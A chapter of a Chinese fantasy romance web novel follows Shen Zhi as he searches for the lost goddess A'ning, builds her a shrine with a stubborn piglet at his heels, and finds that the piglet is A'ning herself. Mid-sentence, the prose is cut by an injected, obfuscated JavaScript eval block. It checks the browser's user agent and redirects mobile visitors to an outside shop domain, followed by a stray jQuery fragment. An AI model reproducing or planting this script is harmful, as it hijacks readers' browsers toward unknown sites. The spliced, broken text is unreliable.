没有人知道沈栀去了哪里。
第二日,顾京墨就收到了他的传讯,只有短短一句:不必寻我,安好勿念。
年复一年,春去秋来,寒来暑往。
归明境在岁家军和渡厄的带领下越来越繁盛。
沉寂了百年的灵脉在浓郁的灵气里慢慢复苏,不少宗门循着灵脉建起了山门,广收弟子,教世人新的修炼吐纳之法。
渡厄也隐隐有向这个方向发展的趋势,空茧和哑镜拿不定主意,便托顾京墨传讯问沈栀的意见。
传讯回来的,只有一个字:可。
顾京墨看着光屏上那个孤零零的字,有些抓耳挠腮不知道如何是好。
往日里沈栀回讯,就算再短,也总会问一句众人近况,最后落一句安好勿念。
但这一个月来,他的回讯都极其敷衍,像是有什么棘手的事情绊住了他,让他心头烦躁。
般般凑过来瞥了一眼光屏,冷哼一声:“他不会外面有人了吧!”
顾京墨顿时大惊失色,下意识地抬手捂住光屏,仿佛沈栀隔着千里之遥能听到他们的对话似的。
他压低声音,急道:“你别胡说!他定是遇到什么麻烦了。”
般般翻了个白眼,抱着胳膊没再说话,但眼底也浮起一层淡淡的忧色。
沈栀确实是遇到了麻烦。
一个赶不走、杀不得,无论他走得多快、去多偏的地方,都能阴魂不散地跟在身后的麻烦。
倒不是他心慈手软,只是这小东西明显开了灵智,一双黑葡萄似的圆眼睛滴溜溜转,瞧着就有几分慧根。
如今归明境灵气复苏,万物生灵都得了滋养,开灵修行,这是阿宁用命换回来的好光景,他总不能因为这点烦扰,就毁了一个刚开灵的小生命。
沈栀拂开面前的树枝,将枝桠推得远了些,余光扫过身后跟着的那个圆滚滚的身影。
然后突然松手。
树枝被弹力打了回去,“啪”的一声抽在那个粉嫩嫩的身体上。
“嗷呜!!!”
粉嫩身影向后滚了两圈,扑通一声栽倒在地,四脚朝天。
它四只小短蹄子并用,在地上扑腾了好一会儿才爬起来,一身粉白的皮毛上沾满了泥土和碎叶。
黑葡萄似的眼睛中全是怒火,鼻子里“吭哧吭哧”地喷着粗气,前蹄一蹬,埋头就向沈栀冲来。
然后,“咚”的一声,撞在了他的小腿上。
冲击力把自己撞了个猪仰猪翻,屁股朝天,四蹄乱蹬,好不狼狈。
没错。
沈栀最近的烦恼来源,是一头猪。
他扶了扶额,有些无奈。
若是叫顾京墨他们知道了,指不定要怎么嘲笑他,堂堂渡厄之主,如今竟是连一头不足他小腿高的小香猪都甩不开。
沈栀蹲下身,看着那小香猪前半身趴在地上,用前蹄扒拉着抹掉脸上的泥,见他看过来,立刻仰起头,鼻子冲着他狠狠喷气。
湿漉漉的气息喷在他脸上,虽然不臭,却也让他生出一股恶寒,瞬间皱紧了眉,本能地往后撤了半步,语气冰冷,烦躁骂道:“滚。”
这个字他这一路已经说了不下百遍。
头几天他还顾及这畜生开了灵智,说话留了几分余地,后来发现这玩意儿根本软硬不吃,你好好说,它不理你,你凶它,它瞪你,你拿树枝抽它,它嚎两声,然后继续跟着。
小香猪丝毫不受威胁,甚至大摇大摆地从沈栀身边越过,走到前方,然后在三步开外的地方停下,猪头一扭,圆溜溜的眼睛斜睨着他,脑袋往某个方向一偏,那意思再明显不过:走啊!怎么不走了?
沈栀额角的青筋跳了跳。
要是情绪能化作实质,他此刻的戾气能直接把这头猪烧成烤乳猪,顺便把这雾隐丘陵都给燎了。
可他偏偏不能,避不开,躲不掉,杀不得,活了这么多年,他头一次觉得这么憋屈。
最后只能用最笨拙的法子:不理会,俗称冷暴力。
他目不斜视地越过那小猪,继续往丘陵深处走。
雾隐丘陵是归明境偏僻地界之一,山高林密,常年罩着一层薄薄的雾气,脚下是厚厚的落叶,踩上去沙沙作响。
参天的古木遮天蔽日,只有零星的阳光透过枝叶的缝隙落下来,在地上投下斑驳的光影。
这五年里,他走遍了归明境的每一寸土地,大到繁华的城镇,小到荒无人烟的沼泽丘陵,来雾隐丘陵,已经数不清是第几次了。
他找遍了所有她可能在的地方,可始终没有找到那抹熟悉的身影。
小香猪看他头也不回地往前走,十分人性化地叹了口气,“哒哒哒”地跟了上去。
别看它蹄子短,跟上沈栀的脚步丝毫不费力气,四条小短腿倒腾得飞快,鼻子一耸一耸的,时刻盯着前面人的背影。
沈栀不止一次怀疑这东西到底是不是猪,哪有猪刚开灵就把技能全点在速度和嗅觉上的?难不成不该叫香猪,该叫猎犬?
它就这么亦步亦趋地跟着,时不时还要躲开沈栀状似无意甩过来的树枝、踢过来的石子,一双小眼睛死死盯着他的后脑勺。
小香猪看着他蹲下身,小心翼翼地抚过地面上一个模糊的脚印。
那脚印很浅,藏在几片落叶底下,若不是刻意去找,根本发现不了。
它安安静静地坐在后面,不用绕到前面去看,都知道他此刻是什么模样。
每一次都是这样。
看到一点蛛丝马迹,一个模糊的脚印,一朵不该开在这个季节的花,他都会像现在这样,像溺水的人抓住了一根浮木,拼了命地想要确认那是她回来过的痕迹,然后又被理智一点一点地拉回现实。
不是她。
那些都不是她。
果不其然,过了一会儿,沈栀站了起来。
他没有离开,站在原地一动不动,低垂着头,额前的碎发遮住了他的神色。
小香猪也不急,两条后腿伸得直直的,安安静静地等他回过神来。
风穿过树林,发出沙沙的声响。
过了很久,沈栀才重新迈开步子,小香猪爬起来,抖了抖身上的泥土,继续跟上去。
雾隐丘陵的夜风很大,刮过树梢,发出呜呜的声响,像有人在低声啜泣。
归明境初开时,天地灵气重洗,他和所有人一样,没了修为。
如今归明境的修行法门,早已和从前的神谴之地不同,是顺着新生的天道重定的路数。
但他的神魂本就带着神性,蕴养他神魂的栀子花,又含着神骨最精纯的本源灵气,不过一年光景,他的实力就恢复了七八成。
沈栀用灵气在周围竖起一道挡风的屏障,生了火。
橘红色的火光跳荡着,映在他脸上,一半浸在暖光里,一半藏在身后的阴影里,眉眼的轮廓明明灭灭,衬得那张本就清俊的脸,更添了几分化不开的孤寂。
他就那么安安静静地坐在火边,手里转着一根树枝,看着火苗舔舐着上面串着的鱼,任由小香猪毫不客气地挤过屏障,蹲在了火堆旁边。
他早就习惯了这个不请自来的跟屁虫,把冷暴力贯彻到底,权当没看见。
小香猪本来离火堆远远的,可鼻子一耸一耸的,闻着烤鱼的香气,口水都快滴到地上了,却又不敢靠太近,生怕下一秒自己就被串到火上,变成烤乳猪。
它圆溜溜的眼睛偷偷瞟着火边的人,他一个人坐在火堆旁,脊背挺得笔直,却莫名让人觉得他随时都会被这黑夜吞没。
圆溜溜的眼睛里闪过点说不清的情绪,蹄子轻轻蹭了蹭地,一点点往前挪,离他近了些。
刚挪到他身侧,就听见那人冷飕飕的一句:“滚。”
小香猪权当没听见,厚着脸皮又往前挪了一寸,再一寸,最后一屁股坐在了他垂在地上的衣摆上。
见他没什么反应,它还有点惊奇地抬了抬头,这一抬头,整个猪身瞬间僵住了。
黑漆漆的小眼珠里,映出那一颗晶莹,顺着他的下颌线滑落,滴在衣摆上,晕开一小片深色的水渍。
它仰着头,看着他。
火光在他脸上明明灭灭,泪痕清晰得像一道伤口。
接下来的几天,小香猪突然就安分了下来。
它很少再发出吵闹的叫声,不再故意撞他的腿,不再冲他喷气,就安安静静地跟在沈栀身后,保持着不远不近的距离。
沈栀偶尔用余光扫到它,见它那对总是支棱着的耳朵耷拉着,没什么精神的样子,眉头微微皱了一下。
它是生病了?
可转念又压了下去,与他无关。
沈栀收回视线,将肩上扛着的木头放下,看向面前已经快搭建完成的庙宇。
说是庙宇,其实更像一间大一点的木屋。
没有飞檐翘角,没有雕梁画栋,只有一根根木头垒起来的墙和几根粗壮的柱子撑着屋顶。
木头都是他亲手砍的、削平,然后垒上去的,每一根都打磨得光滑平整,接口处严丝合缝。
屋顶铺着厚厚的茅草,一层压一层,编得密实整齐,门口用碎石铺了一条小路,两旁还埋了几根木桩,系着细细的麻绳,算是围了个小小的院落。
庙门没有装门板,只用了一道竹帘挡着,风一吹,竹帘轻轻晃动,露出里面不算宽敞的空间。
最中间供奉着一尊神像,是他亲手所刻。
花了整整三天三夜,一刀一刀地刻,刻坏了就重来,手指被刻刀划破了无数次,木屑扎进肉里,像是感觉不到疼痛。
神像的眉眼被刻得极细致,剑眉微扬,带着几分英气,眉峰锐利,却不显得凌厉,反而衬得那双眼睛愈发清澈,透着股挡不住的鲜活,像她就站在那里,下一秒就要开口叫他的名字。
这五年里,归明境的各处,都陆陆续续建起了供奉她的庙宇,都是百姓们自发建的。
他们等了一年又一年,始终没等到她回来,便有人说,定是她为了重铸天道,伤了本源,需要香火供奉滋养,才能早日养好伤回来。
于是,有钱的出钱,有力的出力,大的建在城镇中央,小的建在山间路旁,没有人组织,没有人号召,一座又一座庙宇就在这片新生的土地上悄然立了起来。
只有这些人迹罕至的荒僻险地,没人来,也自然不会有庙宇。
沈栀抱着一丝微茫的希望,哪怕知道这不过是无用功,哪怕他比谁都清楚,阿宁从不是靠香火活着的神明,可他还是想做,想抓住这世间所有哪怕只有万分之一可能的希望,盼着她能回来。
他甚至自嘲地想,原来有一天,他也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948038|203127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会变成这样,靠着这些虚无缥缈的东西,撑着自己走下去。
可他控制不住自己,他总想着,万一呢?万一她需要呢?万一就差这一座呢?
小香猪窝在庙里的软垫上,看着沈栀在外面忙活。
午后的阳光落在他身上,给他周身镀了一层柔和的金边。
他垂着头打磨木栏杆,侧脸的线条利落又温柔。
小香猪看得有些恍神,目光黏在他身上,直到沈栀直起身,用袖子擦了擦额头的汗,它才回过神来,小脑袋转了转,掩饰般地眨了眨眼。
它又仰头看了看头顶那尊高大的神像,圆溜溜的眼睛里情绪复杂,突然叹了口气,用两只前蹄撑着站起来,对着那神像规规矩矩地拜了三拜,只是神情说不上多肃穆,甚至堪称随意。
沈栀的动作很快,天还没黑,他就已经把小院建好了。
又换了一身干净的素白长衫,头发也重新束过,一丝不苟,连衣角都整理得平平整整。
小香猪自觉地从软垫上走开,退到一旁,安静地坐着。
沈栀在软垫上跪下,脊背挺得笔直,双手合十,指尖抵着眉心,闭着眼沉默了很久。
庙里安静极了,只有风穿过竹帘的细微声响。
然后他俯下身,额头触地,虔诚地拜了三拜。
拜完之后,他直起身,从怀里取出三支香,就着烛火点燃。
青烟袅袅升起,在庙宇里打着旋,像一条看不见的丝线,连接着天上和地下。
他将三支香插在了高台上的香炉里,双手合十重新跪下,仰头看着面前他亲手刻下的神像。
他的爱人。
烛火跳动着,那双被刻刀雕琢出来的眼睛在光影中仿佛有了神采,像是在看着他。
沈栀的喉咙动了动,眼底是化不开的虔诚,是卑微到尘埃里的期盼。
“如果你能听到我的声音,阿宁,回来吧。”
小香猪蹲在角落,看着他的背影,突然觉得鼻子酸酸的,使劲耸了耸鼻子,微微偏过头,不想再看。
庙外突然卷进来一阵旋风,打着转吹过高台,小香猪被风吹得眯起了眼,一抬眼就看见香炉里最边上的那支香被风吹得晃了晃,眼看着就要倒下来。
它心里一惊,飞快地瞥了一眼沈栀,见他闭着眼,根本没察觉,当下也顾不上别的,前蹄一蹬,直接跳上了沈栀的肩膀,朝着那支香扑了过去。
它身子轻巧,轻轻一撞,就把那支香撞回了原位,可燃着的香灰却撒了它一身,烫得它嗷的一声叫,身子一扭,直直扑进了沈栀怀里。
这一切都发生在瞬息之间。
沈栀猛地睁开眼,眼底还蒙着一层未散的水汽,视线朦胧间,只看见一个白花花粉嫩嫩的影子扑进了怀里,耳边是又急又惨的猪叫。
他心里一惊,下意识伸手去接,指尖触到的却不是预想中毛茸茸的触感,而是细腻滑嫩的温软。
他还没反应过来,整个人就被扑得向后倒去。
眼前的模糊渐渐褪去,视线一点点清晰,他看清了压在自己身上日思夜想的人。
一头如墨的长发散下来,扫过他的脸颊,那双他刻在骨血里的双眸,此刻正有点不自在地看着他,耳尖泛红,带着点慌乱。
她趴在他身上,一只手撑在他的耳边,另一只手还攥着他胸前的衣襟,姿势狼狈,眼神飘忽。
“那个……我可以解释。”
沈栀没有听清她在说什么,耳朵里全是自己的心跳声,震耳欲聋。
他抬起手,指尖颤抖着想要去碰她的脸颊,却在离她只有一寸的地方僵住,不敢再往前半分。
他怕,怕这又是自己的幻觉,是他的妄想,是他日思夜想生出来的虚影,只要他一碰,就会消失得无影无踪。
岁宴宁看着他小心翼翼的模样,看着他伸出的手停在半空,像一只想要靠近火焰却又害怕被灼伤的飞蛾。
心脏像是被人揪紧了,一阵绞痛蔓延开来,眼眶瞬间就红了。
她轻柔地伸出手,握住他的手贴在了自己脸上。
掌心触到的皮肤是温热的,柔软的,带着微微的潮意。
脸颊在他掌心里蹭了蹭,像一只终于找到归处的猫,然后将自己的手覆在他的手背上,指尖穿过他的指缝,十指交握。
“是我。”
“我回来了。”
沈栀的瞳孔微微震颤了一下,震碎了他眼底那层薄薄的水雾,泪水毫无预兆地涌了出来,顺着眼角滑进发鬓。
手指在她脸上微微颤抖着,拇指轻轻地摩挲过她的颧骨,像是在确认一件失而复得的珍宝。
从她的眉眼到鼻梁,从鼻梁到嘴唇,又从嘴唇回到眼睛。
那双向来波澜不惊的眼睛里,此刻翻涌着太多太多的东西。
迷茫,不可置信,然后是翻江倒海的思念和爱恋,冲破了所有堤坝。
他收紧双臂,用尽全身的力气,把怀里的人死死按在胸口,像是要把她揉进自己的骨血里,再也不分开。
下巴抵在她的发顶,声音抖得不成样子,带着失而复得的哽咽,一遍一遍地说:“阿宁,欢迎回家。”
风从庙外吹进来,卷着香炉里的青烟,绕着相拥的两人转了一圈。
人间终有归期,神明踏碎虚空,复归故里。